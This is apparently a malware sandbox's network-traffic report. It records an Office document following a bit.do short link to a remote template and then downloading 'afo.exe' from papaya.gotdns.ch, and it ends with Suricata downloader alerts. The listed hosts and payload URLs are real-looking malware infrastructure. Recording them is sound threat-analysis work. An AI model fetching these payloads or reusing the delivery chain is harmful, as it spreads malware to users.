Home
Result
Report
Detail Analysis

Network Analysis

Download pcap

Hosts 4 DNS 3 TCP 6 UDP 12 HTTP(S) 9 ICMP 0 IRC 0 Suricata Snort

IP Address	Status	Action
164.124.101.2	Active	Moloch
185.140.53.216	Active	Moloch
23.95.122.53	Active	Moloch
54.83.52.76	Active	Moloch

Name	Response	Post-Analysis Lookup
bit.do	A 54.83.52.76	54.83.52.76
ararat.mangospot.net	A 185.140.53.216	185.140.53.216
papaya.gotdns.ch	A 23.95.122.53	23.95.122.53

TCP Requests

UDP Requests

OPTIONS 0 http://bit.do/

REQUEST

OPTIONS / HTTP/1.1 User-Agent: Microsoft Office Protocol Discovery Host: bit.do Content-Length: 0 Connection: Keep-Alive

RESPONSE

HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 05 Jun 2021 01:58:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.29

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

OPTIONS 0 http://bit.do/

REQUEST

OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 translate: f Host: bit.do

RESPONSE

HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 05 Jun 2021 01:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.29

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

PROPFIND 200 http://bit.do/

REQUEST

PROPFIND / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 Depth: 0 translate: f Content-Length: 0 Host: bit.do

RESPONSE

HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 05 Jun 2021 01:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.29

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

PROPFIND 200 http://bit.do/

REQUEST

PROPFIND / HTTP/1.1 Connection: Keep-Alive User-Agent: Microsoft-WebDAV-MiniRedir/6.1.7601 Depth: 0 translate: f Content-Length: 0 Host: bit.do

RESPONSE

HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 05 Jun 2021 01:58:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.3.29

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

GET 301 http://bit.do/fQXx3

REQUEST

GET /fQXx3 HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E; MSOffice 12) Accept-Encoding: gzip, deflate Host: bit.do Connection: Keep-Alive

RESPONSE

HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Sat, 05 Jun 2021 01:58:41 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 312 Connection: keep-alive Location: http://23.95.122.53/pawpaw/a.dot

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

GET 200 http://23.95.122.53/pawpaw/a.dot

REQUEST

GET /pawpaw/a.dot HTTP/1.1 Accept: */* User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E; MSOffice 12) Accept-Encoding: gzip, deflate Connection: Keep-Alive Host: 23.95.122.53

RESPONSE

HTTP/1.1 200 OK Date: Sat, 05 Jun 2021 01:58:41 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Wed, 02 Jun 2021 08:05:15 GMT ETag: "1b85-5c3c3eb38c764" Accept-Ranges: bytes Content-Length: 7045 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/msword

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

HEAD 301 http://bit.do/fQXx3

REQUEST

HEAD /fQXx3 HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: bit.do Content-Length: 0 Connection: Keep-Alive

RESPONSE

HTTP/1.1 301 Moved Permanently Server: nginx/1.18.0 Date: Sat, 05 Jun 2021 01:58:42 GMT Content-Type: text/html; charset=iso-8859-1 Connection: keep-alive Location: http://23.95.122.53/pawpaw/a.dot

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

HEAD 200 http://23.95.122.53/pawpaw/a.dot

REQUEST

HEAD /pawpaw/a.dot HTTP/1.1 User-Agent: Microsoft Office Existence Discovery Host: 23.95.122.53 Content-Length: 0 Connection: Keep-Alive

RESPONSE

HTTP/1.1 200 OK Date: Sat, 05 Jun 2021 01:58:42 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Wed, 02 Jun 2021 08:05:15 GMT ETag: "1b85-5c3c3eb38c764" Accept-Ranges: bytes Content-Length: 7045 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: application/msword

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

GET 200 http://papaya.gotdns.ch/pawpaw/afo.exe

REQUEST

GET /pawpaw/afo.exe HTTP/1.1 Accept: */* Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; InfoPath.2; .NET4.0C; .NET4.0E) Host: papaya.gotdns.ch Connection: Keep-Alive

RESPONSE

HTTP/1.1 200 OK Date: Sat, 05 Jun 2021 01:58:43 GMT Server: Apache/2.4.47 (Win64) OpenSSL/1.1.1k PHP/7.3.28 Last-Modified: Fri, 04 Jun 2021 04:19:13 GMT ETag: "e8800-5c3e8fe7f6bd6" Accept-Ranges: bytes Content-Length: 952320 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload

BODY

request response

plaintext hex

16 bytes 32 bytes 48 bytes 64 bytes

ICMP traffic

No ICMP traffic performed.

IRC traffic

No IRC requests performed.

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49208 -> 23.95.122.53:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 23.95.122.53:80 -> 192.168.56.101:49208	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 23.95.122.53:80 -> 192.168.56.101:49206	2026863	ET INFO Possible RTF File With Obfuscated Version Header	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Snort Alerts

No Snort Alerts